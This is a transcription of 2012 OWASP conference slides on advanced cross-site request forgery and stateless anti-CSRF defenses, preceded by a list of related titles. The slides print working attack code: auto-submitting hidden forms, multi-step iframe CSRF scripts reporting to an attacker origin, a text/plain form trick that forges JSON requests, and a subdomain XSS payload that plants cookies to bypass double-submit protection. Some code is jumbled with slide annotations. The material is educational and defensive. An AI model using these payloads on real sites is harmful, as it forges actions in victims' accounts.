Advanced CSRF and Stateless at OWASP AppSec Research 2012

Similar documents
OWASP Top 10. from a developer s perspective. John Wilander, OWASP/Omegapoint, IBWAS 10

Common Websites Security Issues. Ziv Perry

Cross-Site Request Forgery in Cisco SG220 series

Web basics: HTTP cookies

How is state managed in HTTP sessions. Web basics: HTTP cookies. Hidden fields (2) The principle. Disadvantage of this approach

Penetration Test Report

CSC 482/582: Computer Security. Cross-Site Security

RKN 2015 Application Layer Short Summary

Lecture 17 Browser Security. Stephen Checkoway University of Illinois at Chicago CS 487 Fall 2017 Some slides from Bailey's ECE 422

Web basics: HTTP cookies

WEB SECURITY WORKSHOP TEXSAW Presented by Solomon Boyd and Jiayang Wang

CIS 4360 Secure Computer Systems XSS

JOE WIPING OUT CSRF

JOE WIPING OUT CSRF

Web 2.0 and AJAX Security. OWASP Montgomery. August 21 st, 2007

Security. CSC309 TA: Sukwon Oh

Writing Secure Chrome Apps and Extensions

Lecture Overview. IN5290 Ethical Hacking

Lecture 6: Web hacking 2, Cross Site Scripting (XSS), Cross Site Request Forgery (CSRF), Session related attacks

WHY CSRF WORKS. Implicit authentication by Web browsers

Cross Site Request Forgery

Multi-Post XSRF Web App Exploitation, total pwnage

CSCD 303 Essential Computer Security Fall 2017

Neat tricks to bypass CSRF-protection. Mikhail

CSCD 303 Essential Computer Security Fall 2018

Sichere Software vom Java-Entwickler

Client Side Injection on Web Applications

Information Security CS 526 Topic 8

Attacks Against Websites. Tom Chothia Computer Security, Lecture 11

Content Security Policy

last time: command injection

Hacking Web Sites Cross Site Scripting

CSCE 813 Internet Security Case Study II: XSS

Advanced Web Technology 10) XSS, CSRF and SQL Injection

Information Security CS 526 Topic 11

Browser code isolation

P2_L12 Web Security Page 1

Web Security: Vulnerabilities & Attacks

Surrogate Dependencies (in

OWASP Application Security Building and Breaking Applications

WEB SECURITY: XSS & CSRF

Some Facts Web 2.0/Ajax Security

Web Security. advanced topics on SOP. Yan Huang. Credits: slides adapted from Stanford and Cornell Tech

Attacks Against Websites 3 The OWASP Top 10. Tom Chothia Computer Security, Lecture 14

HTTP Security Headers Explained

The PKI Lie. The OWASP Foundation Attacking Certificate Based Authentication. OWASP & WASC AppSec 2007 Conference

Web Security IV: Cross-Site Attacks

OWASP Top David Caissy OWASP Los Angeles Chapter July 2017

Is Browsing Safe? Web Browser Security. Subverting the Browser. Browser Security Model. XSS / Script Injection. 1. XSS / Script Injection

CSRF in the Modern Age

CNIT 129S: Securing Web Applications. Ch 12: Attacking Users: Cross-Site Scripting (XSS) Part 2

MWR InfoSecurity Security Advisory. DotNetNuke Cross Site Request Forgery Vulnerability Contents

FIREFOX MENU REFERENCE This menu reference is available in a prettier format at

CSE361 Web Security. Attacks against the client-side of web applications. Nick Nikiforakis

Cross-Site Request Forgery: The Sleeping Giant. Jeremiah Grossman Founder and CTO, WhiteHat Security

Web Application Security. Philippe Bogaerts

Avoiding Web Application Flaws In Embedded Devices. Jake Edge LWN.net URL for slides:

Attacking the Application OWASP. The OWASP Foundation. Dave Ferguson, CISSP Security Consultant FishNet Security.

Your Scripts in My Page: What Could Possibly Go Wrong? Sebastian Lekies / Ben Stock Martin Johns

Match the attack to its description:

IBM Bluemix Node-RED Watson Starter

COMP9321 Web Application Engineering

Web Security. Thierry Sans

This is CS50. Harvard College Fall Quiz 1 Answer Key

CNIT 129S: Securing Web Applications. Ch 3: Web Application Technologies

Preparing for the Cross Site Request Forgery Defense

Xignite CloudStreaming overview

HTML5 a clear & present danger

Application Security Introduction. Tara Gu IBM Product Security Incident Response Team

Web Vulnerabilities. And The People Who Love Them

Abusing Windows Opener to Bypass CSRF Protection (Never Relay On Client Side)

Hacking ASUS Routers: A Case Study. By Yakov Shafranovich October 8th, 2017

Computer Security CS 426 Lecture 41

Sichere Webanwendungen mit Java

Web Security, Part 2

XSSFor the win! What can be really done with Cross-Site Scripting.

Application vulnerabilities and defences

GOING WHERE NO WAFS HAVE GONE BEFORE

HTML5: Something wicked this way comes. Krzysztof Kotowicz Securing

Application Security through a Hacker s Eyes James Walden Northern Kentucky University

ESORICS September Martin Johns

Progress Exchange June, Phoenix, AZ, USA 1

Founded the web application security lab

W3Conf, November 15 & 16, Brad Scott

Top 10 Web Application Vulnerabilities

Secure Coding and Code Review. Berlin : 2012

The three faces. DeepSec Martin Johns University of Hamburg Universität Hamburg

WebGoat& WebScarab. What is computer security for $1000 Alex?

ColdFusion Application Security: The Next Step - Handout

Welcome to the OWASP TOP 10

Web Application Security

Clojure Web Security. FrOSCon Joy Clark & Simon Kölsch

INF3700 Informasjonsteknologi og samfunn. Application Security. Audun Jøsang University of Oslo Spring 2015

Web Security: Web Application Security [continued]

High -Tech Bridge s Web Server Security Service API Developer Documentation Version v1.3 February 13 th 2018

Cookie Security. Myths and Misconceptions. David Johansson OWASP London 30 Nov. 2017

Jquery Ajax Json Php Mysql Data Entry Example

Cross-Site Scripting (XSS) Professor Larry Heimann Web Application Security Information Systems

Transparency & Consent Framework

Cross-domain leakiness Divulging sensitive information & attacking SSL sessions Chris Evans - Google Billy Rios - Microsoft

Transcription:

Advanced CSRF and Stateless Anti-CSRF @johnwilander at OWASP AppSec Research 2012

Frontend developer at Svenska Handelsbanken Researcher in application security Co-leader OWASP Sweden @johnwilander johnwilander.com (music) johnwilander.se (papers etc)

Some Quick CSRF Basics

Cross-Site Request Forgery Request Forgery Cross-Site

Cross-Site Request Forgery Request Forgery Cross-Site Phishing

What s on your mind? POST What s on your mind? POST

What s on your mind? I love OWASP! POST What s on your mind? POST

What s on your mind? I love OWASP! POST What s on your mind? POST John: I love OWASP!

What s on your mind? POST What s on your mind? POST

What s on your mind? POST What s on your mind? I hate OWASP! POST

What s on your mind? POST What s on your mind? I hate OWASP! POST

What s on your mind? John: I hate OWASP! POST What s on your mind? I hate OWASP! POST

What s on your mind? John: I hate OWASP! POST What s on your mind? <form id="target" method="post" action="https://1-liner.org/form"> <input type="text" value="i hate OWASP!" name="oneliner"/> <input type="submit" value="post"/> </form> <script type="text/javascript"> $(document).ready(function() { $('#form').submit(); }); </script>

What s on your mind? John: I hate OWASP! <form id="target" method="post" action="https://1-liner.org/form"> <input type="text" value="i hate OWASP!" name="oneliner"/> <input type="submit" value="post"/> </form> POST What s on your mind? <script> $(document).ready(function() { $('#target').submit(); }); </script>

Multi-Step, Semi-Blind CSRF

What about several steps? Step 1 Step 2 Step 3 State built up i steps, server roundtrip in-between

Step 1 Step 2 Step 3 Forged request to last step will miss the previous

Can we forge timed GETs and POSTs in a deterministic, non-blind way? Step 1 Step 2 Step 3 1 2 3 4

csrfmultidriver.html invisible iframe csrfmulti0.html

csrfmultidriver.html invisible iframe target0.html invisible iframe csrfmulti1.html Wait

csrfmultidriver.html invisible iframe invisible iframe invisible iframe target0.html target1.html csrfmulti2.html Wait

csrfmultidriver.html invisible iframe invisible iframe invisible iframe invisible iframe target0.html target1.html target2.html csrfmulti3.html Wait

csrfmultidriver.html invisible iframe invisible iframe invisible iframe invisible iframe target0.html target1.html target2.html target3.html

Let's look at An iframed CSRF Get

Invisible iframe for timed GET <!DOCTYPE html> <html> <head> <script> var IFRAME_ID = "0", GET_SRC = "http://www.vulnerable.com/some.html?param=1"; </script> <script src="../iframegetter.js"></script> </head> <body onload="iframe_getter.onload()"> Extra easy to CSRF since it's done with HTTP GET. </body> </html> csrfmulti0.ht

The iframed page configures which URL to CSRF against via a JavaScript- <!DOCTYPE html> <html> variable. <head> <script> var IFRAME_ID = "0", GET_SRC = "http://www.vulnerable.com/some.html?param=1"; </script> <script src="../iframegetter.js"></script> </head> <body onload="iframe_getter.onload()"> Extra easy to CSRF since it's done with HTTP GET. </body> </html> csrfmulti0.ht

<!DOCTYPE html> <html> <head> <script> When var IFRAME_ID the iframe's = "0", GET_SRC DOM = is done "http://www.vulnerable.com/some.html?param=1"; </script> loading IFRAME_GETTER.onload() is <script called. src="../iframegetter.js"></script> </head> <body onload="iframe_getter.onload()"> Extra easy to CSRF since it's done with HTTP GET. </body> </html> csrfmulti0.ht

<!DOCTYPE html> <html> <head> <script> var IFRAME_ID = "0", GET_SRC = Let's look at "http://www.vulnerable.com/some.html?param=1"; </script> iframegetter.js <script src="../iframegetter.js"></script> </head> <body onload="iframe_getter.onload()"> Extra easy to CSRF since it's done with HTTP GET. </body> </html> csrfmulti0.ht

var IFRAME_GETTER = {}; IFRAME_GETTER.haveGotten = false; IFRAME_GETTER.reportAndGet = function() { var imgelement; if(parent!= undefined) { parent.postmessage(iframe_id, "https://attackr.se:8444"); } if(!iframe_getter.havegotten) { imgelement = document.createelement("img"); imgelement.setattribute("src", GET_SRC); imgelement.setattribute("height", "0"); imgelement.setattribute("width", "0"); imgelement.setattribute("onerror", "javascript:clearinterval(iframe_getter.intervalid)"); document.body.appendchild(imgelement); IFRAME_GETTER.haveGotten = true; } }; IFRAME_GETTER.onLoad = function() { IFRAME_GETTER.intervalId = setinterval(iframe_getter.reportandget, 1000); }; iframegetter.js

var IFRAME_GETTER = {}; IFRAME_GETTER.haveGotten = false; IFRAME_GETTER.reportAndGet = function() { var imgelement; if(parent!= undefined) { parent.postmessage(iframe_id, "https://attackr.se:8444"); } if(!iframe_getter.havegotten) { imgelement = document.createelement("img"); imgelement.setattribute("src", GET_SRC); imgelement.setattribute("height", "0"); IFRAME_GETTER.onload() imgelement.setattribute("width", makes "0"); sure that imgelement.setattribute("onerror", the iframe reports back to the "javascript:clearinterval(iframe_getter.intervalid)"); main document.body.appendchild(imgelement); page once every second. IFRAME_GETTER.haveGotten = true; A so called heart beat function. } }; IFRAME_GETTER.onLoad = function() { IFRAME_GETTER.intervalId = setinterval(iframe_getter.reportandget, 1000); }; iframegetter.js

var IFRAME_GETTER = {}; IFRAME_GETTER.haveGotten = false; IFRAME_GETTER.reportAndGet = function() { var imgelement; if(parent!= undefined) { parent.postmessage(iframe_id, "https://attackr.se:8444"); } if(!iframe_getter.havegotten) { In practice, the heart beats are imgelement = document.createelement("img"); delivered imgelement.setattribute("src", via postmessage GET_SRC); between imgelement.setattribute("height", "0"); the imgelement.setattribute("width", iframe and the main page. "0"); imgelement.setattribute("onerror", "javascript:clearinterval(iframe_getter.intervalid)"); document.body.appendchild(imgelement); IFRAME_GETTER.haveGotten = true; } }; IFRAME_GETTER.onLoad = function() { IFRAME_GETTER.intervalId = setinterval(iframe_getter.reportandget, 1000); }; iframegetter.js

var IFRAME_GETTER = {}; IFRAME_GETTER.haveGotten = false; IFRAME_GETTER.reportAndGet = function() { var imgelement; if(parent!= undefined) { The parent.postmessage(iframe_id, GET CSRF is executed with an "https://attackr.se:8444"); <img src="vulnerable URL"> } if(!iframe_getter.havegotten) { imgelement = document.createelement("img"); imgelement.setattribute("src", GET_SRC); imgelement.setattribute("height", "0"); imgelement.setattribute("width", "0"); imgelement.setattribute("onerror", "javascript:clearinterval(iframe_getter.intervalid)"); document.body.appendchild(imgelement); IFRAME_GETTER.haveGotten = true; } }; IFRAME_GETTER.onLoad = function() { IFRAME_GETTER.intervalId = setinterval(iframe_getter.reportandget, 1000); }; iframegetter.js

The onerror event will fire var IFRAME_GETTER = {}; IFRAME_GETTER.haveGotten since the vulnerable = false; URL does IFRAME_GETTER.reportAndGet = function() { var imgelement; not respond with an image. We if(parent!= undefined) { use that event to stop the parent.postmessage(iframe_id, heart beat function. "https://attackr.se:8444"); No heart } if(!iframe_getter.havegotten) beat means the main { page imgelement knows = this document.createelement("img"); step is done and imgelement.setattribute("src", GET_SRC); imgelement.setattribute("height", can continue opening the "0"); next imgelement.setattribute("width", iframe. "0"); imgelement.setattribute("onerror", "javascript:clearinterval(iframe_getter.intervalid)"); document.body.appendchild(imgelement); IFRAME_GETTER.haveGotten = true; } }; IFRAME_GETTER.onLoad = function() { IFRAME_GETTER.intervalId = setinterval(iframe_getter.reportandget, 1000); }; iframegetter.js

Let's look at An iframed CSRF Post

<!DOCTYPE html> <html> <head> POST <script> var IFRAME_ID = "1"; </script> <script src="../iframeposter.js"></script> </head> <body onload="iframe_poster.onload()"> Invisible iframe for timed <form id="target" method="post" action="https://www.vulnerable.com/addbasket.html" style="visibility:hidden"> <input type="text" name="goodsid" value="95a0b76bde6b1c76e05e28595fdf5813" /> <input type="text" name="numberofitems" value="1" /> <input type="text" name="country" value="swe" /> <input type="text" name="proceed" value="to checkout" /> </form> </body> </html> csrfmulti1.ht

<!DOCTYPE html> <html> <head> <script> var IFRAME_ID = "1"; </script> <script The src="../iframeposter.js"></script> vulnerable URL can be </head> found in the form to be <body onload="iframe_poster.onload()"> posted. <form id="target" method="post" action="https://www.vulnerable.com/addbasket.html" style="visibility:hidden"> <input type="text" name="goodsid" value="95a0b76bde6b1c76e05e28595fdf5813" /> <input type="text" name="numberofitems" value="1" /> <input type="text" name="country" value="swe" /> <input type="text" name="proceed" value="to checkout" /> </form> </body> </html> csrfmulti1.ht

<!DOCTYPE html> <html> <head> <script> var IFRAME_ID = "1"; </script> <script src="../iframeposter.js"></script> </head> called. <body onload="iframe_poster.onload()"> When the iframe's DOM is done loading IFRAME_POSTER.onload() is <form id="target" method="post" action="https://www.vulnerable.com/addbasket.html" style="visibility:hidden"> <input type="text" name="goodsid" value="95a0b76bde6b1c76e05e28595fdf5813" /> <input type="text" name="numberofitems" value="1" /> <input type="text" name="country" value="swe" /> <input type="text" name="proceed" value="to checkout" /> </form> </body> </html> csrfmulti1.ht

<!DOCTYPE html> <html> <head> <script> Let's look at iframeposter.js var IFRAME_ID = "1"; </script> <script src="../iframeposter.js"></script> </head> <body onload="iframe_poster.onload()"> <form id="target" method="post" action="https://www.vulnerable.com/addbasket.html" style="visibility:hidden"> <input type="text" name="goodsid" value="95a0b76bde6b1c76e05e28595fdf5813" /> <input type="text" name="numberofitems" value="1" /> <input type="text" name="country" value="swe" /> <input type="text" name="proceed" value="to checkout" /> </form> </body> </html> csrfmulti1.ht

var IFRAME_POSTER = {}; IFRAME_POSTER.havePosted = false; IFRAME_POSTER.reportAndPost = function() { if(parent!= undefined) { parent.postmessage(iframe_id, "https://attackr.se:8444"); } if(!iframe_poster.haveposted) { document.forms['target'].submit(); IFRAME_POSTER.havePosted = true; } }; IFRAME_POSTER.onLoad = function() { setinterval(iframe_poster.reportandpost, 1000); }; iframeposter

var IFRAME_POSTER = {}; IFRAME_POSTER.havePosted = false; IFRAME_POSTER.reportAndPost = function() { if(parent!= undefined) { parent.postmessage(iframe_id, "https://attackr.se:8444"); } if(!iframe_poster.haveposted) IFRAME_POSTER.onload() { makes sure the document.forms['target'].submit(); iframe reports back to the main IFRAME_POSTER.havePosted = true; } page once every second. Again, a }; heart beat function. IFRAME_POSTER.onLoad = function() { setinterval(iframe_poster.reportandpost, 1000); }; iframeposter

var IFRAME_POSTER = {}; IFRAME_POSTER.havePosted = false; IFRAME_POSTER.reportAndPost = function() { if(parent!= undefined) { parent.postmessage(iframe_id, "https://attackr.se:8444"); } The heart beats stop automatically if(!iframe_poster.haveposted) when the POST is done since { the document.forms['target'].submit(); iframe IFRAME_POSTER.havePosted is loaded with the = true; response } from the web server that got the }; POST. IFRAME_POSTER.onLoad = function() { setinterval(iframe_poster.reportandpost, 1000); }; iframeposter

The main page configures the order of the CSRF steps, opens iframes and var CSRF = function(){ var hideiframes = true, frames = [ {id: 0, hasposted: "no", hasopenediframe: false, src: 'csrfmulti0.html'},{id: 1, hasposted: "no", hasopenediframe: false, src: 'csrfmulti1.html'} ], appendiframe = function(frame) { var domnode = '<iframe src="' + frame.src + '" height="600" width="400"' + (hideiframes? 'style="visibility: hidden"' : '') + '></iframe>'; $("body").append(domnode); }; csrfmultidriver.ht

return { checkiframes : function() { var frame; for (var i = 0; i < frames.length; i++) { frame = frames[i]; if (!frame.hasopenediframe) { iframe appendiframe(frame); frame.hasopenediframe = true; break; // Only open one iframe at the time } else if(frame.hasposted == "no") { frame.hasposted = "maybe"; break; // iframe not done posting, wait } else if(frame.hasposted == "maybe") { frame.hasposted = "yes"; break; // iframe not done posting, wait } else if (frame.hasposted == "yes") { continue; // Time to allow for the next iframe to open } }, } listens on heart beats to time every receivemessage : function(event) { if (event.origin == "https://attackr.se:8444") { CSRF.frames[parseInt(event.data)].hasPosted = "no"; // Still on CSRF page so POST not done yet } } csrfmultidriver.ht

Demo Multi-Step, Semi-Blind CSRF against amazon.com which has protection against this. The intention is to show how you can test your own sites.

There used to be a protection in web 1.5

Forced Browsing wizard-style Shipment info Payment info $ Next Buy!

Forced Browsing wizard-style Shipment info Payment info $ Token Next Buy!

Forced Browsing wizard-style Shipment info Payment info $ Re-Auth Next Buy!

Forced Browsing wizard-style Token 1 Token 2 Token 3

Forced Browsing wizard-style Token 1 Token 2 Token 3 State built up i steps, server roundtrip in-between

Forced Browsing wizard-style Token 1 Token 2 Token 3 Couldn t forge request to last step without a valid token

But in RIAs...

RIA & client-side state { purchase : {} }

RIA & client-side state { purchase : { items : [{}] } }

RIA & client-side state { purchase : { items : [{},{}] } }

RIA & client-side state { purchase : { items : [{},{}], shipment : {} } }

RIA & client-side state { purchase : { items : [{},{}], shipment : {}, payment : {} } }

RIA & client-side state { purchase : { items : [{},{}], shipment : {}, payment : {} } }

Can an attacker forge such a JSON structure?

CSRF Against RESTful Services

CSRF possible? { purchase : { items : [{},{}], shipment : {}, payment : {} } }

<form id="target" method="post" action="https://vulnerable.1-liner.org: 8444/ws/oneliners"> <input type="text" name= value="" /> <input type="submit" value="go" /> </form>

<form id="target" method="post" action="https://vulnerable.1-liner.org: 8444/ws/oneliners" style="visibility:hidden"> <input type="text" name= value="" /> <input type="submit" value="go" /> </form>

<form id="target" method="post" action="https://vulnerable.1-liner.org: 8444/ws/oneliners" style="visibility:hidden" enctype="text/plain"> <input type="text" name= value="" /> <input type="submit" value="go" /> </form>

<form id="target" method="post" action="https://vulnerable.1-liner.org: 8444/ws/oneliners" style="visibility:hidden" enctype="text/plain"> Forms produce a request body that looks like this: <input type="text" name= value="" /> thename=thevalue... and that s not valid JSON. <input type="submit" value="go" /> </form>

<form id="target" method="post" action="https://vulnerable.1-liner.org: 8444/ws/oneliners" style="visibility:hidden" enctype="text/plain"> <input type="text" name='{"id": 0, "nickname": "John", "oneliner": "I hate OWASP!", "timestamp": "20111006"}//' value="dummy" /> <input type="submit" value="go" /> </form>

<form id="target" method="post" action="https://vulnerable.1-liner.org: 8444/ws/oneliners" style="visibility:hidden" Produces a request body that looks enctype="text/plain"> like this: <input type="text" {"id": 0, "nickname": name='{"id": "John","oneLiner": 0, "nickname": "John", "I "oneliner": hate OWASP!","timestamp": "I hate "timestamp": "20111006"}//=dummy "20111006"}//' value="dummy" />... and that is acceptable JSON! <input type="submit" value="go" /> </form>

<form id="target" method="post" action="https://vulnerable.1-liner.org: 8444/ws/oneliners" style="visibility:hidden" enctype="text/plain"> <input type="text" name='{"id": 0, "nickname": "John", "oneliner": "I hate OWASP!", "timestamp": "20111006", "paddingdummy": "' value='"}' /> <input type="submit" value="go" />

<form id="target" method="post" action="https://vulnerable.1-liner.org: 8444/ws/oneliners" style="visibility:hidden" Produces a request body that looks enctype="text/plain"> like this: <input type="text" {"id": 0, "nickname": name='{"id": "John","oneLiner": 0, "nickname": "John", "I "oneliner": hate OWASP!","timestamp": "I hate "timestamp": "20111006", "20111006", "paddingdummy": "' "="} value='"}' />... and that is JSON! <input type="submit" value="go" />

Demo CSRF POST then Demo CSRF + XSS The Browser Exploitation Framework http://beefproject.com/

Important in your REST API Restrict HTTP method, e.g. POST Easier to do CSRF with GET Restrict to AJAX if applicable X-Requested-With:XMLHttpRequest Cross-domain AJAX prohibited by default Restrict media type(s), e.g. application/json HTML forms only allow URL encoded, multipart and text/plain

Double Submit (CSRF Protection)

Double Submit (CSRF protection) Anti-CSRF value as cookie...... and request parameter

Double Submit (CSRF protection) cookie request parameter Cannot read the anti-csrf cookie to include it as parameter

Double Submit (CSRF protection) Anti-CSRF cookie can be generated client-side => no server-side state

Demo Double Submit

Are We Fully Protected Now?

Are We Fully Protected Now? Of course not

The Other Subdomain https://securish.1-liner.org https://other.1-liner.org Search Buy!

The Other Subdomain https://securish.1-liner.org https://other.1-liner.org <script>alert('xss')</script> Search XSS OK Buy!

The Other Subdomain https://securish.1-liner.org https://other.1-liner.org Buy! <script> $.cookie( "doublesubmittoken", "knownvalue", { path: "/", domain: ".1-liner.org" }); </script> Search

Demo Subdomain XSS Double Submit Bypass

I'm proposing some sort of Triple Submit CSRF Protection

Triple Submit (CSRF protection) Initial request of rich internet app

Triple Submit (CSRF protection) Random HttpOnly cookie Cookie value as JavaScript variable

Triple Submit (CSRF protection) Random HttpOnly cookie Cookie value as request parameter Stateful: Cookie name saved in server session Stateless: Server only accepts one such cookie (checks format)

The 3rd Submit The server sets an HttpOnly cookie with a random name and random value The server tells the client the value of the random cookie, not the name The client submits the value of the cookie as a request parameter

The 3rd Submit The server sets an httponly cookie esponse.setheader("set-cookie", randomname with a + random "=" + randomvalue name and random + "; HttpOnly; valuepath='/'; domain=.1-liner.org"); The server tells the client the name and value of the random cookie The Client submits the name and value of the cookie as a request parameter

The 3rd Submit The server sets an httponly cookie with a random name and random value script> ar ANTI_CSRF_TRIPLE The server tells the = <%= client randomvalue the name %>; /script> and value of the random cookie The Client submits the name and value of the cookie as a request parameter

The 3rd Submit Cookie value as parameter The cookie name The cookie value

My Demo System is Being Released as an OWASP https://www.owasp.org/index.php? title=owasp_1-liner https://github.com/johnwilander/ owasp-1-liner

Thanks! @johnwilander